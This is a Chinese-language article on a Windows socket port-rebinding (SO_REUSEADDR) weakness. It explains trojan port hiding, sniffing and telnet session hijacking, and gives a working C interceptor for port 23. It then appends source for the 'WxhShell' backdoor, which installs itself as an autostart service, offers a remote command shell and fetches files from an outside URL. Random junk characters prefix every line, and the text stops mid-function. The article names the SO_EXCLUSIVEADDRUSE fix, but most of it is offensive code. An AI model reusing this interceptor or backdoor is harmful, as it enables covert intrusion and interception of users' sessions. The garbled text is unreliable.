在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Z~F*$jn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Kq5i8L=u `hdN 6PgK saddr.sin_family = AF_INET;
}?o4MiLB >#)%/Ti}DU saddr.sin_addr.s_addr = htonl(INADDR_ANY);
EJ(36h
T%Bz >K bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
l(W?]{C[% >qs/o$+t} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1R;@v3 1nw\?r2 这意味着什么?意味着可以进行如下的攻击:
TF9A4 4/%Y@Z5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
nRvaCAt^
yj=OR|v 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
E]v?:!!ds mx#%oJnsi 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
S*gm[ZLQ 9c%CCZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\t5_V)P !9.FI{W 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
e{9~m \B^NdG5Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M4D @G _a f $0! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
cUr!U\X[ SU1N*k#-o #include
?4oP=. #include
TW|- 0
#include
vZW[y5 #include
TyjZ DWORD WINAPI ClientThread(LPVOID lpParam);
plp-[eKcD int main()
F{.\i *$ {
mz+UkA' WORD wVersionRequested;
+xvn n DWORD ret;
;6~5FTmV WSADATA wsaData;
Oxa8u e? BOOL val;
no W]E}nN SOCKADDR_IN saddr;
\m%c"'[ SOCKADDR_IN scaddr;
QM*
T?PR int err;
X&kp1Ih<^ SOCKET s;
K7([Gc9 SOCKET sc;
DVVyWn[ int caddsize;
;b:'i&r
HANDLE mt;
shw"TF>?zG DWORD tid;
H\qZu%F' wVersionRequested = MAKEWORD( 2, 2 );
:w!hkUx# err = WSAStartup( wVersionRequested, &wsaData );
9K#3JyW* if ( err != 0 ) {
oR,6esA+6n printf("error!WSAStartup failed!\n");
TQmrL return -1;
M9afg$;.xe }
V[uSo$k+> saddr.sin_family = AF_INET;
nmts% u Q4hY\\Hi //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
R :(-"GW' 6M.|W; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q2s0g*z saddr.sin_port = htons(23);
cdh0b7tjn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
":vEWp+g {
7RWgc]@?> printf("error!socket failed!\n");
El@*Fo return -1;
d$n31F }
ZOMYo] val = TRUE;
@"MQ6u G> //SO_REUSEADDR选项就是可以实现端口重绑定的
[8^q3o7n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
EEnl' {
/aMOZ=,q} printf("error!setsockopt failed!\n");
aWlIq(dU return -1;
EwX{i}j_V }
w]yVNB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
B~7!v${ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
} ck<R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
r uGeN M;,$
)>P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Dsp$Nr%* {
fggs
;Le ret=GetLastError();
jS~Pdz printf("error!bind failed!\n");
jeJgDAUv return -1;
QF\nf_X }
Ei):\,Nv listen(s,2);
Y*PfU+y~ while(1)
g_`a_0v {
9$Z0mz k caddsize = sizeof(scaddr);
~r!(V;k{ //接受连接请求
*<!q@r<d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&H]/'i- if(sc!=INVALID_SOCKET)
aY#?QjL {
[5& nH@og mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ON){d!]uJ if(mt==NULL)
@qan &?-Y {
~^V&n`*7D printf("Thread Creat Failed!\n");
Pv/v=s>X break;
XWnP(C9? }
bY=[ USgps }
R-j*fO} CloseHandle(mt);
|Rz.Pt6 }
DegbjqZ# closesocket(s);
/De~K+w7o WSACleanup();
GaG>0x return 0;
8>,w8(Nt }
%ACW"2#( DWORD WINAPI ClientThread(LPVOID lpParam)
m|B= {
*
l1*zaE SOCKET ss = (SOCKET)lpParam;
;_)~h$1%= SOCKET sc;
3g;, unsigned char buf[4096];
SXZ9+<\ SOCKADDR_IN saddr;
m]!hP^^ long num;
U`i5B;k}- DWORD val;
+q'1P}e DWORD ret;
xNf}f 9l //如果是隐藏端口应用的话,可以在此处加一些判断
NFZ(*v1U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j*G: 8Lg saddr.sin_family = AF_INET;
{]<c6*gQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\agZD+ saddr.sin_port = htons(23);
T5."3i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1.F&gP)9 {
LK~aLa5wG printf("error!socket failed!\n");
8ROKfPj;z return -1;
p8_^6wfg }
)ZpI%M?) val = 100;
tLTavE[@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3WJk04r {
=+Fb\HvX{ ret = GetLastError();
p@su:B2Rl return -1;
2CO/K_Q }
z{
:;Rb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'R79,)|;[ {
:xPo*#[Z(A ret = GetLastError();
d"9tP&
Q return -1;
<.QaOLD }
Oh*~+/u}q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
fx5S2%f^ {
SQ_?4 s:: printf("error!socket connect failed!\n");
4SJ aAeIZ closesocket(sc);
B#Ybdp ; closesocket(ss);
bTc>-e, return -1;
FnA Kfh( }
D4!;*2t while(1)
V|97; {
/{i~-DVME //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
dZ`Y>wH_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
@%Ld\8vdfJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\Y)HSJR;e num = recv(ss,buf,4096,0);
%Hbq3U30 if(num>0)
|l;
Ot=C= send(sc,buf,num,0);
qjP~F else if(num==0)
W^tD6H; break;
'"
"v7 num = recv(sc,buf,4096,0);
A-CU%G9 if(num>0)
9j>2C send(ss,buf,num,0);
vn^O m-\ else if(num==0)
't5ufAT break;
#cfiN b}GX }
;\mX=S|a closesocket(ss);
8(%F{&<; closesocket(sc);
G;G*!nlWf return 0 ;
JY#vq'dl| }
X3:z=X&Zd ZL6HD n! wf\"&xwh? ==========================================================
cmG27\c RO ;{sZDjev> 下边附上一个代码,,WXhSHELL
)/$J$'mcxd NZvgkci_(u ==========================================================
&)1.z7T .*-8rOcc #include "stdafx.h"
5E'/8xp bB u /F!8# #include <stdio.h>
8!{*!|Xd #include <string.h>
?s^qWA #include <windows.h>
)j36Y =r3 #include <winsock2.h>
f1 x&Fk #include <winsvc.h>
.5
.(S^u #include <urlmon.h>
Z@0tZ^V{ Zd[rn:9\ #pragma comment (lib, "Ws2_32.lib")
_`udd)Y2 #pragma comment (lib, "urlmon.lib")
t{]Ew4Y4%O U6M~N0)Yr #define MAX_USER 100 // 最大客户端连接数
Ib# -M;{ #define BUF_SOCK 200 // sock buffer
bej(Ds0 #define KEY_BUFF 255 // 输入 buffer
I@cw=_EQL .uJ
J< #define REBOOT 0 // 重启
D;pI!S<# #define SHUTDOWN 1 // 关机
=0g!Q 9p W~Gz #define DEF_PORT 5000 // 监听端口
zr.\7\v 4E^ ?}_$ #define REG_LEN 16 // 注册表键长度
H0af u)$, #define SVC_LEN 80 // NT服务名长度
gXdMGO> 0~qc,-)3 // 从dll定义API
Pao^>rj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
> <YU'>% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@|b-X? ` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eP-|3$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9&Jf4lC94 `}Zqmfs // wxhshell配置信息
xS,24{-HJ struct WSCFG {
QRQZ{m int ws_port; // 监听端口
6m:$mhA5 char ws_passstr[REG_LEN]; // 口令
GmH DG- int ws_autoins; // 安装标记, 1=yes 0=no
[Yt{h9 char ws_regname[REG_LEN]; // 注册表键名
!?P8[K char ws_svcname[REG_LEN]; // 服务名
xuK"pS char ws_svcdisp[SVC_LEN]; // 服务显示名
\?xM%(:<Q char ws_svcdesc[SVC_LEN]; // 服务描述信息
|4df) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xb,d,(^ ]R int ws_downexe; // 下载执行标记, 1=yes 0=no
)^ah, ;( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
d0:LJ'<Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!O_G%+>5W U]cXE1c>F };
$tmdE)"& 7iP+!e}$. // default Wxhshell configuration
Q@W/~~N struct WSCFG wscfg={DEF_PORT,
cRT'?w`} "xuhuanlingzhe",
-5<[oBL; 1,
?\V#^q- "Wxhshell",
B6
0 "Wxhshell",
Jl{ 0q7b "WxhShell Service",
nI*.(+h "Wrsky Windows CmdShell Service",
+S4n416K "Please Input Your Password: ",
io4<HN 1,
Cyg2o<O@ "
http://www.wrsky.com/wxhshell.exe",
Np" p*O "Wxhshell.exe"
b#_RZ };
dQ`Tt- n bk0>f // 消息定义模块
?M4o>T%p " char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~|+ ~/ char *msg_ws_prompt="\n\r? for help\n\r#>";
sW]_Ky.] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y :;.r: char *msg_ws_ext="\n\rExit.";
ot}erC2~ char *msg_ws_end="\n\rQuit.";
{MgRi7 char *msg_ws_boot="\n\rReboot...";
? o"
Vkc: char *msg_ws_poff="\n\rShutdown...";
n28JWkK8 char *msg_ws_down="\n\rSave to ";
p'R<yB)V Ob$``31{s char *msg_ws_err="\n\rErr!";
N"70P/ char *msg_ws_ok="\n\rOK!";
[}L~zn6>?a _**Nlp*% char ExeFile[MAX_PATH];
j,0`k int nUser = 0;
[H h-F#|R HANDLE handles[MAX_USER];
2v{WX int OsIsNt;
meX2Y; .#( vx; SERVICE_STATUS serviceStatus;
Geq]wv8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
o[ 5dR< 'PF>#X'' // 函数声明
&6sF wK int Install(void);
f$lb.fy5 int Uninstall(void);
@]Cg5QW>T int DownloadFile(char *sURL, SOCKET wsh);
8 .%0JJ .3 int Boot(int flag);
TLwxP" void HideProc(void);
RjWwsC~B int GetOsVer(void);
Q %o@s3~O int Wxhshell(SOCKET wsl);
{-Y;! void TalkWithClient(void *cs);
:iE b^F} int CmdShell(SOCKET sock);
@](vFb int StartFromService(void);
!T0I; j& int StartWxhshell(LPSTR lpCmdLine);
6K.2VY# :HY$x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JS/'0. VOID WINAPI NTServiceHandler( DWORD fdwControl );
fL*7u\m: HI8mNX3 "j // 数据结构和表定义
'`jGr+K,wU SERVICE_TABLE_ENTRY DispatchTable[] =
Z[?n{vD7 {
-XBZ1q {wscfg.ws_svcname, NTServiceMain},
`5Y*)
q {NULL, NULL}
f?5>V };
/QXUD.(
8 bmG`:_ // 自我安装
z
CLaHx! int Install(void)
t`o"K {
pD{OB char svExeFile[MAX_PATH];
Q#g`D,:o%~ HKEY key;
j`_S%E% X strcpy(svExeFile,ExeFile);
@A,8>0+ sfXFh // 如果是win9x系统,修改注册表设为自启动
o~LJ+m6-) if(!OsIsNt) {
]_s3<&R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]1
f^ SxSI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a/J<(sak~X RegCloseKey(key);
:c*"Dx'D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2-4N)q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rq%]CsRY5 RegCloseKey(key);
zhn?;Fi return 0;
|*bUcS<S }
tq
L(H25z }
"to!&@I|
4 }
!*#9b else {
^'X
I%fEf t'44X // 如果是NT以上系统,安装为系统服务
<6Q^o[L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
a#p+.)Wm if (schSCManager!=0)
>_}isCd, {
@|Pm%K`1 SC_HANDLE schService = CreateService
_(m72o0g>> (
D \ rns+ schSCManager,
|1@O>GG wscfg.ws_svcname,
dseI~} wscfg.ws_svcdisp,
DGvuo 8 SERVICE_ALL_ACCESS,
BE?]P?r? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
u]*7",R
uU SERVICE_AUTO_START,
/2K"Mpf8 SERVICE_ERROR_NORMAL,
K6v~!iiK$ svExeFile,
I5"wa:Z NULL,
KXt8IMP_"y NULL,
%vmd2}dA NULL,
Myc-lCE NULL,
P+CV4;Xz NULL
rNN>tpZ} );
Jm4uj&}3 if (schService!=0)
Y'/6T]a {
\[G'cE CloseServiceHandle(schService);
I!/32* s1t CloseServiceHandle(schSCManager);
YmljHQP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mb*Yw6q strcat(svExeFile,wscfg.ws_svcname);
s#$t!F??9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{it.F4. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+g1>h,K 3 RegCloseKey(key);
H!;N0",]N return 0;
IyO0~Vx> }
* F!B4go }
hW*o;o7u CloseServiceHandle(schSCManager);
<'\Nv._2a }
u&~Xgq5[ }
5_9`v@-4_ w{tA{ { return 1;
X'OpR }
k0Vri$x J jAxNviG // 自我卸载
WuK<?1meN int Uninstall(void)
C%4ed# {
8\{!*?9! HKEY key;
ai 4 k? hDXTC_^s if(!OsIsNt) {
*;Kp"j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bm#5bhX\| RegDeleteValue(key,wscfg.ws_regname);
R}oN8 RegCloseKey(key);
ILuQ.VhBVN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(;fJXgj. RegDeleteValue(key,wscfg.ws_regname);
7-S?RU]g RegCloseKey(key);
dDS{XR return 0;
Xqf\}p n }
vP{i+s18B }
eU"yF >6' }
JA^!i98{ else {
R>c>wYt'f c]pz& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
QQAEG#.5 if (schSCManager!=0)
"%T~d[M {
#Y= A#Yz,{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
S.MRL, if (schService!=0)
j~'.XD={ {
FG${w.e< if(DeleteService(schService)!=0) {
k8 #8)d CloseServiceHandle(schService);
TQB)
A9 CloseServiceHandle(schSCManager);
MZ38=nJ return 0;
Le#srr }
+?\JQ| CloseServiceHandle(schService);
a8xvK;` }
i[z 2'tx4 CloseServiceHandle(schSCManager);
6lzjaW5h }
JE O$v|X }
(aYu[ML `n>/MY return 1;
cyNE} }
Y1cL dQn $#V'm{Hh // 从指定url下载文件
z$&B7? int DownloadFile(char *sURL, SOCKET wsh)
|5flvkid {
>33=0< HRESULT hr;
_`gF%$]b char seps[]= "/";
Mmz;
uy_ char *token;
mAlG}< char *file;
K+Him]
b char myURL[MAX_PATH];
yl$Ko char myFILE[MAX_PATH];
1ZFKLI`V 1(;{w+nM strcpy(myURL,sURL);
r(^00hvH token=strtok(myURL,seps);
|?KYY0 while(token!=NULL)
D:k< , { {
K qJE?caw file=token;
kw59`z Es token=strtok(NULL,seps);
=R0f{&"i }
-#I]/7^ GkOk.9Y,5 GetCurrentDirectory(MAX_PATH,myFILE);
Pz50etJ strcat(myFILE, "\\");
LB@<Q.b,U strcat(myFILE, file);
N+.Nu= +i2 send(wsh,myFILE,strlen(myFILE),0);
feXo"J send(wsh,"...",3,0);
-O &>HA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=*fq5v if(hr==S_OK)
kO)Y|zQ return 0;
<?A4/18K else
7fqQ return 1;
!$98U~L {
{?-&
yA }
w!UF^~ ^.J_ w // 系统电源模块
SB%D%Zx6'% int Boot(int flag)
POk5+^ {
R\cx-h* HANDLE hToken;
2:Yvr_L TOKEN_PRIVILEGES tkp;
Zwq\m.h emQc%wd{ if(OsIsNt) {
DWtITO> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
RV]#Bg*[# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3^KR{N p tkp.PrivilegeCount = 1;
7mSNz. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5 _y w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'A{zH{ if(flag==REBOOT) {
p+b/k2Q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
TQb/lY9* return 0;
8}yrsF# }
4evN^es'I_ else {
_L=-z*a\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l!gX-U%- return 0;
(P E.v1T }
a;5clonB }
`BZ|[
q3 else {
*& w/*h$! if(flag==REBOOT) {
W7C1\'T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
N!.o`4 "z return 0;
BqJ|l7+ }
7&